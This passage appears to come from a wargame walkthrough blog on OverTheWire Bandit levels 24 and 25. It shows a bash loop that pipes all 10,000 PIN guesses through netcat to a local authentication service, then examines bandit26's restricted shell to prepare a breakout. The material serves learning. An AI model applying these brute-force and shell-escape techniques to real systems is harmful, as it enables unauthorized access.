#8992A7);&quot;&gt; do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;   echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;[REDACTED LEVEL 24 PASSWORD] &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;done&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now, I want to return to something mentioned in the prompt. It reads.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;You do not need to create new connections each time.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This is actually quite an important concept when writing scripts or doing any programming really. Understanding the requirements for the script you’re writing and making it perform well without doing extra work or using resources that aren’t strictly necessary. In this case the prompt has hinted to us that we really only need one connection to port 30002 to do all this work.&lt;&#x2F;p&gt;
&lt;p&gt;Now I want you to think about what this script will do with the addition of one line. Consider why this might be problematic.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;for&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; $(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;seq&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;w&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 9999&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;   echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;[REDACTED LEVEL 24 PASSWORD] &lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt; nc&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; localhost&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 30002&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;done&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The problem here is that we’ve placed our call to &lt;code&gt;netcat&lt;&#x2F;code&gt; within our &lt;code&gt;for&lt;&#x2F;code&gt; loop. That means &lt;code&gt;netcat&lt;&#x2F;code&gt; will be creating and tearing down the connection to port 30002 for every iteration of this loop. If you try this script you’ll also notice an even more glaring problem. The program actually hangs after sending only the first code. That’s because netcat will await user input as long as the connection hasn’t been closed and since the correct PIN wasn’t sent, the service is still awaiting more input.&lt;&#x2F;p&gt;
&lt;p&gt;So we can already see this approach may cause some problems. Instead, let’s generate all our numbers with our first script and then pass the output to netcat with a pipe. In this way, only one connection is required, and we can guarantee that all the PINs will be sent to the service on port 30002.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ .&#x2F;gen_pincodes.sh | nc localhost 30002&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Running the script will yield the password once the correct PIN is reached.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;--- snip ---&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Wrong! Please enter the correct current password and pincode. Try again.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Wrong! Please enter the correct current password and pincode. Try again.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Wrong! Please enter the correct current password and pincode. Try again.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Wrong! Please enter the correct current password and pincode. Try again.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Correct!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;The password of user bandit25 is [REDACTED LEVEL 25 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;level-25&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-25&quot; aria-label=&quot;Anchor link for: level-25&quot;&gt;Level 25&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not &lt;code&gt;&#x2F;bin&#x2F;bash&lt;&#x2F;code&gt;, but something else. Find out what it is, how it works and how to break out of it.&lt;&#x2F;p&gt;
&lt;p&gt;NOTE: if you’re a Windows user and typically use Powershell to ssh into bandit: Powershell is known to cause issues with the intended solution to this level. You should use command prompt instead.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;We’re told bandit 26 runs some other shell than bash.&lt;&#x2F;p&gt;
&lt;p&gt;There are a couple ways to discover a user’s default shell in Linux. One is the &lt;code&gt;&#x2F;etc&#x2F;passwd&lt;&#x2F;code&gt; file. It lists all the users of the system, whether they can login, and what default shell they have. We can cat &lt;code&gt;&#x2F;etc&#x2F;passwd&lt;&#x2F;code&gt; and search for bandit26 to discover its shell. Here’s the relevant excerpt.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat &#x2F;etc&#x2F;passwd&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;--- snip ---&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;bandit24:x:11024:11024:bandit level 24:&#x2F;home&#x2F;bandit24:&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;bandit25:x:11025:11025:bandit level 25:&#x2F;home&#x2F;bandit25:&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;bandit26:x:11026:11026:bandit level 26:&#x2F;home&#x2F;bandit26:&#x2F;usr&#x2F;bin&#x2F;showtext&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;bandit27:x:11027:11027:bandit level 27:&#x2F;home&#x2F;bandit27:&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;bandit28:x:11028:11028:bandit level 28:&#x2F;home&#x2F;bandit28:&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;--- snip ---&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To display this information in a more readable format, we can use the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;lslogins.1.html&quot;&gt;lslogins&lt;&#x2F;a&gt; command as well.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ lslogins bandit26&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Username:                           bandit26&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;UID:                                11026&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Gecos field:                        bandit level 26&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Home directory:                     &#x2F;home&#x2F;bandit26&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;Shell:                              &#x2F;usr&#x2F;bin&#x2F;showtext&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;No login:                           no&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Primary group:                      bandit26&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;GID:                                11026&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Last login:                         14:03&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Last terminal:                      pts&#x2F;171&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Last hostname:                      183.171.69.129&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Hushed:                             no&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Running processes:                  0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Last logs:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Note how the Shell field for &lt;code&gt;bandit26&lt;&#x2F;code&gt; is &lt;code&gt;&#x2F;usr&#x2F;bin&#x2F;showtext&lt;&#x2F;code&gt; as opposed to the other levels which use &lt;code&gt;&#x2F;usr&#x2F;bin&#x2F;bash&lt;&#x2F;code&gt; as the default shell.&lt;&#x2F;p&gt;
&lt;p&gt;Running &lt;code&gt;file&lt;&#x2F;code&gt; on &lt;code&gt;&#x2F;usr&#x2F;bin&#x2F;showtext&lt;&#x2F;code&gt; shows that it’s a regular ASCII file.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ file &#x2F;usr&#x2F;bin&#x2F;showtext&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&#x2F;usr&#x2F;bin&#x2F;showtext: POSIX shell script, ASCII text executable&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It’s identified as a shell script, so let’s read through it to see what it’s doing.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#!&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8992A7);&quot;&gt;export&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt; TERM&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;linux&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;exec&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; more&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; ~&#x2F;text.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;6&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Pretty short, it seems to be setting the &lt;code&gt;$TERM&lt;&#x2F;code&gt; shell variable to “linux” and then replaces the current shell with a &lt;code&gt;more&lt;&#x2F;code&gt; command with the file &lt;code&gt;&#x2F;home&#x2F;bandit26&#x2F;text.txt&lt;&#x2F;code&gt; (remember the &lt;code&gt;~&lt;&#x2F;code&gt; will expand to the home directory of the user). We can’t directly read the contents of the &lt;code&gt;text.txt&lt;&#x2F;code&gt; file from bandit25 but since the &lt;code&gt;more&lt;&#x2F;code&gt; pager is being used it should print the contents to the screen when we try to login as the bandit26 user.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;pagers&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#pagers&quot; aria-label=&quot;Anchor link for: pagers&quot;&gt;Pagers&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Before we continue though, we need to discuss a bit about pagers.&lt;&#x2F;p&gt;
&lt;p&gt;You might have already used one before, but this is our first look at a challenge that strictly requires the use of one. The pager used here is &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;more.1.html&quot;&gt;&lt;code&gt;more&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;, but it’s more likely you’ll have used &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;less.1.html&quot;&gt;&lt;code&gt;less&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; which is the default in many Linux distributions.&lt;&#x2F;p&gt;
&lt;p&gt;Essentially pagers allow us to view text in the terminal such that it’s paginated. As opposed to printing an entire file with the &lt;code&gt;cat&lt;&#x2F;code&gt; command all in one shot. A pager like &lt;code&gt;more&lt;&#x2F;code&gt; will stop writing text once the screen is filled and then allow you to continue page by page until you’ve reached the end of the text. The &lt;code&gt;less&lt;&#x2F;code&gt; command has some more advanced text search features and allows moving forward &lt;em&gt;and backwards&lt;&#x2F;em&gt; through a file unlike &lt;code&gt;more&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;In any case, I’d recommend looking through the help menu of &lt;code&gt;less&lt;&#x2F;code&gt; (just press &lt;code&gt;h&lt;&#x2F;code&gt; after opening a file to see a summary of &lt;code&gt;less&lt;&#x2F;code&gt; commands).&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;                   SUMMARY OF LESS COMMANDS&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span&gt;      Commands marked with * may be preceded by a number, N.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span&gt;      Notes in parentheses indicate the behavior if N is given.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span&gt;      A key preceded by a caret indicates the Ctrl key; thus ^K is ctrl-K.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span&gt;  h  H                 Display this help.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;  q  :q  Q  :Q  ZZ     Exit.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 9&lt;&#x2F;span&gt;&lt;span&gt; ---------------------------------------------------------------------------&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;10&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;11&lt;&#x2F;span&gt;&lt;span&gt;                           MOVING&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;12&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;13&lt;&#x2F;span&gt;&lt;span&gt;  e  ^E  j  ^N  CR  *  Forward  one line   (or N lines).&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;14&lt;&#x2F;span&gt;&lt;span&gt;  y  ^Y  k  ^K  ^P  *  Backward one line   (or N lines).&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;15&lt;&#x2F;span&gt;&lt;span&gt;  f  ^F  ^V  SPACE  *  Forward  one window (or N lines).&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;  b  ^B  ESC-v      *  Backward one window (or N lines).&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;17&lt;&#x2F;span&gt;&lt;span&gt;  z                 *  Forward  one window (and set window to N).&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;18&lt;&#x2F;span&gt;&lt;span&gt;  w                 *  Backward one window (and set window to N).&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;19&lt;&#x2F;span&gt;&lt;span&gt;  ESC-SPACE         *  Forward  one window, but don&amp;#39;t stop at end-of-file.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;20&lt;&#x2F;span&gt;&lt;span&gt;  d  ^D             *  Forward  one half-window (and set half-window to N).&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;21&lt;&#x2F;span&gt;&lt;span&gt;  u  ^U             *  Backward one half-window (and set half-window to N).&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;22&lt;&#x2F;span&gt;&lt;span&gt;  ESC-)  RightArrow *  Right one half screen width (or N positions).&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;23&lt;&#x2F;span&gt;&lt;span&gt;  ESC-(  LeftArrow  *  Left  one half screen width (or N positions).&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;24&lt;&#x2F;span&gt;&lt;span&gt;  ESC-}  ^RightArrow   Right to last column displayed.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;25&lt;&#x2F;span&gt;&lt;span&gt;  ESC-{  ^LeftArrow    Left  to first column.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;26&lt;&#x2F;span&gt;&lt;span&gt;  F                    Forward forever; like &amp;quot;tail -f&amp;quot;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
